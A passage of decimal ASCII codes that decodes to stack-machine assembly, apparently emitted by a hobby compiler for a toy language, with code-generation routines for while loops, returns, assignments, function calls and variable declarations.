111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,49,49,54,51,10,109,97,107,101,108,105,115,116,32,98,112,91,50,52,93,32,91,49,49,57,44,49,48,52,44,49,48,53,44,49,48,56,44,49,48,49,93,10,101,113,32,98,112,91,50,53,93,32,98,112,91,49,93,32,98,112,91,50,52,93,10,106,122,32,98,112,91,50,53,93,32,49,48,56,57,10,112,117,115,104,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,50,55,93,32,91,52,48,93,10,112,117,115,104,32,98,112,91,50,55,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,57,48,10,112,111,112,32,98,112,91,50,54,93,10,115,117,98,32,115,112,32,115,112,32,50,10,115,117,98,32,98,112,91,50,57,93,32,48,32,49,10,112,117,115,104,32,98,112,91,50,57,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,55,55,10,112,111,112,32,98,112,91,50,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,50,93,32,98,112,91,50,56,93,10,112,117,115,104,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,51,49,93,32,91,52,49,93,10,112,117,115,104,32,98,112,91,51,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,57,48,10,112,111,112,32,98,112,91,51,48,93,10,115,117,98,32,115,112,32,115,112,32,50,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,48,51,10,112,111,112,32,98,112,91,51,50,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,53,93,32,98,112,91,51,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,51,93,32,91,56,55,44,49,48,52,44,49,48,53,44,49,48,56,44,49,48,49,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,52,93,32,91,98,112,91,51,51,93,44,98,112,91,50,93,44,98,112,91,53,93,93,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,51,52,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,49,49,54,51,10,109,97,107,101,108,105,115,116,32,98,112,91,51,53,93,32,91,49,49,52,44,49,48,49,44,49,49,54,44,49,49,55,44,49,49,52,44,49,49,48,93,10,101,113,32,98,112,91,51,54,93,32,98,112,91,49,93,32,98,112,91,51,53,93,10,106,122,32,98,112,91,51,54,93,32,49,49,49,53,10,97,100,100,32,98,112,91,51,55,93,32,35,49,32,49,10,109,111,118,32,35,49,32,98,112,91,51,55,93,10,115,117,98,32,98,112,91,51,57,93,32,48,32,49,10,112,117,115,104,32,98,112,91,51,57,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,55,55,10,112,111,112,32,98,112,91,51,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,50,93,32,98,112,91,51,56,93,10,112,117,115,104,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,52,49,93,32,91,53,57,93,10,112,117,115,104,32,98,112,91,52,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,57,48,10,112,111,112,32,98,112,91,52,48,93,10,115,117,98,32,115,112,32,115,112,32,50,10,109,97,107,101,108,105,115,116,32,98,112,91,52,50,93,32,91,56,50,44,49,48,49,44,49,49,54,44,49,49,55,44,49,49,52,44,49,49,48,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,51,93,32,91,98,112,91,52,50,93,44,98,112,91,50,93,93,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,52,51,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,49,49,54,51,10,97,100,100,32,98,112,91,52,52,93,32,35,49,32,49,10,103,101,116,32,98,112,91,52,53,93,32,35,48,32,98,112,91,52,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,54,93,32,91,54,49,93,10,101,113,32,98,112,91,52,55,93,32,98,112,91,52,53,93,32,98,112,91,52,54,93,10,106,122,32,98,112,91,52,55,93,32,49,49,52,51,10,97,100,100,32,98,112,91,52,56,93,32,35,49,32,50,10,109,111,118,32,35,49,32,98,112,91,52,56,93,10,115,117,98,32,98,112,91,53,48,93,32,48,32,49,10,112,117,115,104,32,98,112,91,53,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,55,55,10,112,111,112,32,98,112,91,52,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,50,93,32,98,112,91,52,57,93,10,112,117,115,104,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,53,50,93,32,91,53,57,93,10,112,117,115,104,32,98,112,91,53,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,57,48,10,112,111,112,32,98,112,91,53,49,93,10,115,117,98,32,115,112,32,115,112,32,50,10,109,97,107,101,108,105,115,116,32,98,112,91,53,51,93,32,91,54,53,44,49,49,53,44,49,49,53,44,49,48,53,44,49,48,51,44,49,49,48,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,52,93,32,91,98,112,91,53,51,93,44,98,112,91,49,93,44,98,112,91,50,93,93,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,53,52,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,49,49,54,51,10,115,117,98,32,98,112,91,53,54,93,32,48,32,49,10,112,117,115,104,32,98,112,91,53,54,93,10,112,117,115,104,32,48,10,99,97,108,108,32,54,55,55,10,112,111,112,32,98,112,91,53,53,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,50,93,32,98,112,91,53,53,93,10,112,117,115,104,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,53,56,93,32,91,53,57,93,10,112,117,115,104,32,98,112,91,53,56,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,57,48,10,112,111,112,32,98,112,91,53,55,93,10,115,117,98,32,115,112,32,115,112,32,50,10,109,97,107,101,108,105,115,116,32,98,112,91,53,57,93,32,91,54,57,44,49,50,48,44,49,49,50,44,49,49,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,54,48,93,32,91,98,112,91,53,57,93,44,98,112,91,50,93,93,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,54,48,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,49,49,10,112,117,115,104,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,51,93,32,91,49,50,51,93,10,112,117,115,104,32,98,112,91,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,57,48,10,112,111,112,32,98,112,91,50,93,10,115,117,98,32,115,112,32,115,112,32,50,10,109,97,107,101,108,105,115,116,32,98,112,91,52,93,32,91,93,10,109,111,118,32,98,112,91,49,93,32,98,112,91,52,93,10,106,122,32,49,32,49,49,57,57,10,103,101,116,32,98,112,91,53,93,32,35,48,32,35,49,10,109,97,107,101,108,105,115,116,32,98,112,91,54,93,32,91,49,50,53,93,10,101,113,32,98,112,91,55,93,32,98,112,91,53,93,32,98,112,91,54,93,10,106,122,32,98,112,91,55,93,32,49,49,57,49,10,97,100,100,32,98,112,91,56,93,32,35,49,32,49,10,109,111,118,32,35,49,32,98,112,91,56,93,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,49,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,49,49,57,56,10,112,117,115,104,32,48,10,99,97,108,108,32,57,57,56,10,112,111,112,32,98,112,91,57,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,93,32,91,98,112,91,57,93,93,10,97,100,100,32,98,112,91,49,49,93,32,98,112,91,49,93,32,98,112,91,49,48,93,10,109,111,118,32,98,112,91,49,93,32,98,112,91,49,49,93,10,106,122,32,48,32,49,49,55,57,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,54,10,103,101,116,32,98,112,91,49,93,32,35,48,32,35,49,10,109,97,107,101,108,105,115,116,32,98,112,91,50,93,32,91,49,50,51,93,10,101,113,32,98,112,91,51,93,32,98,112,91,49,93,32,98,112,91,50,93,10,106,122,32,98,112,91,51,93,32,49,50,49,57,10,112,117,115,104,32,48,10,99,97,108,108,32,49,49,54,55,10,112,111,112,32,98,112,91,52,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,52,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,49,50,50,56,10,112,117,115,104,32,48,10,99,97,108,108,32,57,57,56,10,112,111,112,32,98,112,91,53,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,54,93,32,91,98,112,91,53,93,93,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,54,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,50,54,10,109,111,118,32,35,48,32,98,112,91,45,51,93,10,109,111,118,32,35,49,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,52,93,32,91,93,10,109,111,118,32,98,112,91,49,93,32,98,112,91,52,93,10,112,117,115,104,32,35,48,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,53,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,54,93,32,35,49,32,98,112,91,53,93,10,106,122,32,98,112,91,54,93,32,49,50,56,56,10,103,101,116,32,98,112,91,55,93,32,35,48,32,35,49,10,109,111,118,32,98,112,91,50,93,32,98,112,91,55,93,10,97,100,100,32,98,112,91,56,93,32,35,49,32,49,10,103,101,116,32,98,112,91,57,93,32,35,48,32,98,112,91,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,48,93,32,91,52,48,93,10,101,113,32,98,112,91,49,49,93,32,98,112,91,57,93,32,98,112,91,49,48,93,10,106,122,32,98,112,91,49,49,93,32,49,50,55,53,10,97,100,100,32,98,112,91,49,50,93,32,35,49,32,49,10,109,111,118,32,35,49,32,98,112,91,49,50,93,10,112,117,115,104,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,49,52,93,32,91,52,48,93,10,112,117,115,104,32,98,112,91,49,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,53,93,32,91,52,49,93,10,112,117,115,104,32,98,112,91,49,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,57,50,50,10,112,111,112,32,98,112,91,49,51,93,10,115,117,98,32,115,112,32,115,112,32,51,10,109,111,118,32,98,112,91,51,93,32,98,112,91,49,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,54,93,32,91,55,48,44,49,49,55,44,49,49,48,44,57,57,44,49,48,48,44,49,48,49,44,57,57,44,49,48,56,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,49,54,55,10,112,111,112,32,98,112,91,49,55,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,49,56,93,32,91,98,112,91,49,54,93,44,98,112,91,50,93,44,98,112,91,51,93,44,98,112,91,49,55,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,57,93,32,91,98,112,91,49,56,93,93,10,97,100,100,32,98,112,91,50,48,93,32,98,112,91,49,93,32,98,112,91,49,57,93,10,109,111,118,32,98,112,91,49,93,32,98,112,91,50,48,93,10,106,122,32,48,32,49,50,56,55,10,112,117,115,104,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,50,50,93,32,91,53,57,93,10,112,117,115,104,32,98,112,91,50,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,57,48,10,112,111,112,32,98,112,91,50,49,93,10,115,117,98,32,115,112,32,115,112,32,50,10,109,97,107,101,108,105,115,116,32,98,112,91,50,51,93,32,91,56,54,44,57,55,44,49,49,52,44,49,48,48,44,49,48,49,44,57,57,44,49,48,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,52,93,32,91,98,112,91,50,51,93,44,98,112,91,50,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,53,93,32,91,98,112,91,50,52,93,93,10,97,100,100,32,98,112,91,50,54,93,32,98,112,91,49,93,32,98,112,91,50,53,93,10,109,111,118,32,98,112,91,49,93,32,98,112,91,50,54,93,10,106,122,32,48,32,49,50,51,57,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,49,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,51,10,109,97,107,101,108,105,115,116,32,98,112,91,49,93,32,91,98,112,91,45,51,93,93,10,97,100,100,32,98,112,91,50,93,32,35,51,32,98,112,91,49,93,10,109,111,118,32,35,51,32,98,112,91,50,93,10,97,100,100,32,98,112,91,51,93,32,35,50,32,49,10,109,111,118,32,35,50,32,98,112,91,51,93,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,51,10,109,111,118,32,98,112,91,49,93,32,35,50,10,109,97,107,101,108,105,115,116,32,98,112,91,51,93,32,91,49,48,48,44,49,49,55,44,49,48,57,44,49,48,57,44,49,50,49,93,10,112,117,115,104,32,98,112,91,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,49,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,54,10,109,97,107,101,108,105,115,116,32,98,112,91,50,93,32,91,49,48,57,44,49,49,49,44,49,49,56,44,51,50,44,49,49,53,44,49,49,50,44,51,50,44,57,56,44,49,49,50,93,10,112,117,115,104,32,98,112,91,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,52,93,32,91,49,49,50,44,49,49,49,44,49,49,50,44,51,50,44,57,56,44,49,49,50,93,10,112,117,115,104,32,98,112,91,52,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,54,93,32,91,49,49,52,44,49,48,49,44,49,49,54,93,10,112,117,115,104,32,98,112,91,54,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,53,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,55,10,109,97,107,101,108,105,115,116,32,98,112,91,50,93,32,91,57,56,44,49,49,50,44,57,49,93,10,112,117,115,104,32,35,57,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,52,93,32,98,112,91,50,93,32,98,112,91,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,93,32,91,57,51,93,10,97,100,100,32,98,112,91,54,93,32,98,112,91,52,93,32,98,112,91,53,93,10,109,111,118,32,98,112,91,49,93,32,98,112,91,54,93,10,97,100,100,32,98,112,91,55,93,32,35,57,32,49,10,109,111,118,32,35,57,32,98,112,91,55,93,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,49,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,51,57,51,10,103,101,116,32,98,112,91,49,48,93,32,98,112,91,45,51,93,32,48,10,109,111,118,32,98,112,91,49,93,32,98,112,91,49,48,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,49,93,32,91,54,55,44,57,55,44,49,48,56,44,49,48,56,93,10,101,113,32,98,112,91,49,50,93,32,98,112,91,49,93,32,98,112,91,49,49,93,10,106,122,32,98,112,91,49,50,93,32,49,53,51,50,10,103,101,116,32,98,112,91,49,51,93,32,98,112,91,45,51,93,32,49,10,103,101,116,32,98,112,91,49,52,93,32,98,112,91,49,51,93,32,48,10,109,111,118,32,98,112,91,50,93,32,98,112,91,49,52,93,10,103,101,116,32,98,112,91,49,53,93,32,98,112,91,45,51,93,32,49,10,103,101,116,32,98,112,91,49,54,93,32,98,112,91,49,53,93,32,49,10,109,111,118,32,98,112,91,51,93,32,98,112,91,49,54,93,10,109,97,107,101,108,105,115,116,32,98,112,91,49,55,93,32,91,49,48,48,44,49,48,49,44,57,56,44,49,49,55,44,49,48,51,93,10,101,113,32,98,112,91,49,56,93,32,98,112,91,50,93,32,98,112,91,49,55,93,10,106,122,32,98,112,91,49,56,93,32,49,51,57,55,10,109,97,107,101,108,105,115,116,32,98,112,91,49,57,93,32,91,49,48,48,44,49,48,49,44,57,56,44,49,49,55,44,49,48,51,44,49,48,48,44,49,49,55,44,49,48,57,44,49,48,57,44,49,50,49,93,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,49,57,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,49,51,57,55,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,53,49,10,112,111,112,32,98,112,91,50,48,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,52,93,32,98,112,91,50,48,93,10,112,117,115,104,32,35,54,10,112,117,115,104,32,98,112,91,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,56,57,10,112,111,112,32,98,112,91,50,49,93,10,115,117,98,32,115,112,32,115,112,32,50,10,109,111,118,32,98,112,91,53,93,32,98,112,91,50,49,93,10,112,117,115,104,32,98,112,91,51,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,50,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,101,113,32,98,112,91,50,52,93,32,98,112,91,53,93,32,98,112,91,50,51,93,10,112,117,115,104,32,98,112,91,50,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,53,93,32,91,57,57,44,49,49,49,44,49,48,57,44,49,49,50,44,49,48,53,44,49,48,56,44,49,48,49,44,57,53,44,49,48,49,44,49,50,48,44,49,49,50,44,49,49,52,44,53,56,44,51,50,44,49,48,49,44,49,50,48,44,49,49,50,44,49,48,49,44,57,57,44,49,49,54,44,51,50,93,10,112,117,115,104,32,98,112,91,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,50,54,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,50,55,93,32,98,112,91,50,53,93,32,98,112,91,50,54,93,10,109,97,107,101,108,105,115,116,32,98,112,91,50,56,93,32,91,51,50,44,57,55,44,49,49,52,44,49,48,51,44,49,49,55,44,49,48,57,44,49,48,49,44,49,49,48,44,49,49,54,44,49,49,53,44,52,52,44,51,50,44,49,48,51,44,49,49,49,44,49,49,54,44,51,50,93,10,97,100,100,32,98,112,91,50,57,93,32,98,112,91,50,55,93,32,98,112,91,50,56,93,10,112,117,115,104,32,98,112,91,51,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,51,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,112,117,115,104,32,98,112,91,51,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,51,48,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,51,50,93,32,98,112,91,50,57,93,32,98,112,91,51,48,93,10,112,117,115,104,32,98,112,91,51,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,53,55,53,10,112,111,112,32,98,112,91,50,50,93,10,115,117,98,32,115,112,32,115,112,32,50,10,109,111,118,32,98,112,91,54,93,32,48,10,112,117,115,104,32,98,112,91,51,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,51,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,51,52,93,32,98,112,91,54,93,32,98,112,91,51,51,93,10,106,122,32,98,112,91,51,52,93,32,49,52,54,54,10,103,101,116,32,98,112,91,51,54,93,32,98,112,91,51,93,32,98,112,91,54,93,10,112,117,115,104,32,98,112,91,51,54,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,55,52,10,112,111,112,32,98,112,91,51,53,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,55,93,32,98,112,91,51,53,93,10,109,97,107,101,108,105,115,116,32,98,112,91,51,56,93,32,91,49,49,50,44,49,49,55,44,49,49,53,44,49,48,52,44,51,50,93,10,97,100,100,32,98,112,91,51,57,93,32,98,112,91,51,56,93,32,98,112,91,55,93,10,112,117,115,104,32,98,112,91,51,57,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,51,55,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,52,48,93,32,98,112,91,54,93,32,49,10,109,111,118,32,98,112,91,54,93,32,98,112,91,52,48,93,10,106,122,32,48,32,49,52,52,50,10,109,97,107,101,108,105,115,116,32,98,112,91,52,50,93,32,91,49,49,50,44,49,49,55,44,49,49,53,44,49,48,52,44,51,50,44,52,56,93,10,112,117,115,104,32,98,112,91,52,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,52,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,52,51,93,32,91,49,49,52,44,49,48,49,44,57,55,44,49,48,48,93,10,101,113,32,98,112,91,52,52,93,32,98,112,91,50,93,32,98,112,91,52,51,93,10,109,97,107,101,108,105,115,116,32,98,112,91,52,53,93,32,91,49,49,57,44,49,49,52,44,49,48,53,44,49,49,54,44,49,48,49,93,10,101,113,32,98,112,91,52,54,93,32,98,112,91,50,93,32,98,112,91,52,53,93,10,101,113,32,98,112,91,52,55,93,32,98,112,91,52,52,93,32,48,10,101,113,32,98,112,91,52,56,93,32,98,112,91,52,54,93,32,48,10,109,117,108,32,98,112,91,52,55,93,32,98,112,91,52,55,93,32,98,112,91,52,56,93,10,101,113,32,98,112,91,52,55,93,32,98,112,91,52,55,93,32,48,10,109,97,107,101,108,105,115,116,32,98,112,91,52,57,93,32,91,49,48,56,44,49,48,49,44,49,49,48,93,10,101,113,32,98,112,91,53,48,93,32,98,112,91,50,93,32,98,112,91,52,57,93,10,101,113,32,98,112,91,53,49,93,32,98,112,91,52,55,93,32,48,10,101,113,32,98,112,91,53,50,93,32,98,112,91,53,48,93,32,48,10,109,117,108,32,98,112,91,53,49,93,32,98,112,91,53,49,93,32,98,112,91,53,50,93,10,101,113,32,98,112,91,53,49,93,32,98,112,91,53,49,93,32,48,10,106,122,32,98,112,91,53,49,93,32,49,52,57,51,10,112,117,115,104,32,98,112,91,50,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,53,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,106,122,32,48,32,49,53,48,51,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,48,56,10,112,111,112,32,98,112,91,53,52,93,10,115,117,98,32,115,112,32,115,112,32,48,10,109,111,118,32,98,112,91,56,93,32,98,112,91,53,52,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,53,93,32,91,57,57,44,57,55,44,49,48,56,44,49,48,56,44,51,50,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,54,93,32,91,98,112,91,56,93,44,98,112,91,50,93,44,98,112,91,53,53,93,93,10,109,97,107,101,108,105,115,116,32,98,112,91,53,55,93,32,91,98,112,91,53,54,93,93,10,97,100,100,32,98,112,91,53,56,93,32,35,53,32,98,112,91,53,55,93,10,109,111,118,32,35,53,32,98,112,91,53,56,93,10,109,97,107,101,108,105,115,116,32,98,112,91,54,48,93,32,91,49,49,50,44,49,49,49,44,49,49,50,44,51,50,93,10,97,100,100,32,98,112,91,54,49,93,32,98,112,91,54,48,93,32,98,112,91,52,93,10,112,117,115,104,32,98,112,91,54,49,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,53,57,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,54,51,93,32,91,49,49,53,44,49,49,55,44,57,56,44,51,50,44,49,49,53,44,49,49,50,44,51,50,44,49,49,53,44,49,49,50,44,51,50,93,10,112,117,115,104,32,98,112,91,51,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,54,53,93,10,115,117,98,32,115,112,32,115,112,32,49,10,112,117,115,104,32,98,112,91,54,53,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,54,50,10,112,111,112,32,98,112,91,54,52,93,10,115,117,98,32,115,112,32,115,112,32,49,10,97,100,100,32,98,112,91,54,54,93,32,98,112,91,54,51,93,32,98,112,91,54,52,93,10,112,117,115,104,32,98,112,91,54,54,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,50,57,54,10,112,111,112,32,98,112,91,54,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,52,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,50,48,54,54,10,109,97,107,101,108,105,115,116,32,98,112,91,54,55,93,32,91,55,51,44,49,49,48,44,49,49,54,93,10,101,113,32,98,112,91,54,56,93,32,98,112,91,49,93,32,98,112,91,54,55,93,10,106,122,32,98,112,91,54,56,93,32,49,53,52,49,10,103,101,116,32,98,112,91,54,57,93,32,98,112,91,45,51,93,32,49,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,54,57,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,50,48,54,54,10,109,97,107,101,108,105,115,116,32,98,112,91,55,48,93,32,91,56,54,44,57,55,44,49,49,52,93,10,101,113,32,98,112,91,55,49,93,32,98,112,91,49,93,32,98,112,91,55,48,93,10,106,122,32,98,112,91,55,49,93,32,49,53,53,54,10,112,117,115,104,32,35,56,10,103,101,116,32,98,112,91,55,51,93,32,98,112,91,45,51,93,32,49,10,112,117,115,104,32,98,112,91,55,51,93,10,112,117,115,104,32,48,10,99,97,108,108,32,56,57,10,112,111,112,32,98,112,91,55,50,93,10,115,117,98,32,115,112,32,115,112,32,50,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,55,50,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,50,48,54,54,10,109,97,107,101,108,105,115,116,32,98,112,91,55,52,93,32,91,93,10,109,111,118,32,98,112,91,51,93,32,98,112,91,55,52,93,10,109,111,118,32,98,112,91,54,93,32,48,10,103,101,116,32,98,112,91,55,54,93,32,98,112,91,45,51,93,32,49,10,112,117,115,104,32,98,112,91,55,54,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,55,53,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,55,55,93,32,98,112,91,54,93,32,98,112,91,55,53,93,10,106,122,32,98,112,91,55,55,93,32,49,53,56,48,10,103,101,116,32,98,112,91,55,57,93,32,98,112,91,45,51,93,32,49,10,103,101,116,32,98,112,91,56,48,93,32,98,112,91,55,57,93,32,98,112,91,54,93,10,112,117,115,104,32,98,112,91,56,48,93,10,112,117,115,104,32,48,10,99,97,108,108,32,49,51,55,52,10,112,111,112,32,98,112,91,55,56,93,10,115,117,98,32,115,112,32,115,112,32,49,10,109,97,107,101,108,105,115,116,32,98,112,91,56,49,93,32,91,98,112,91,55,56,93,93,10,97,100,100,32,98,112,91,56,50,93,32,98,112,91,51,93,32,98,112,91,56,49,93,10,109,111,118,32,98,112,91,51,93,32,98,112,91,56,50,93,10,97,100,100,32,98,112,91,56,51,93,32,98,112,91,54,93,32,49,10,109,111,118,32,98,112,91,54,93,32,98,112,91,56,51,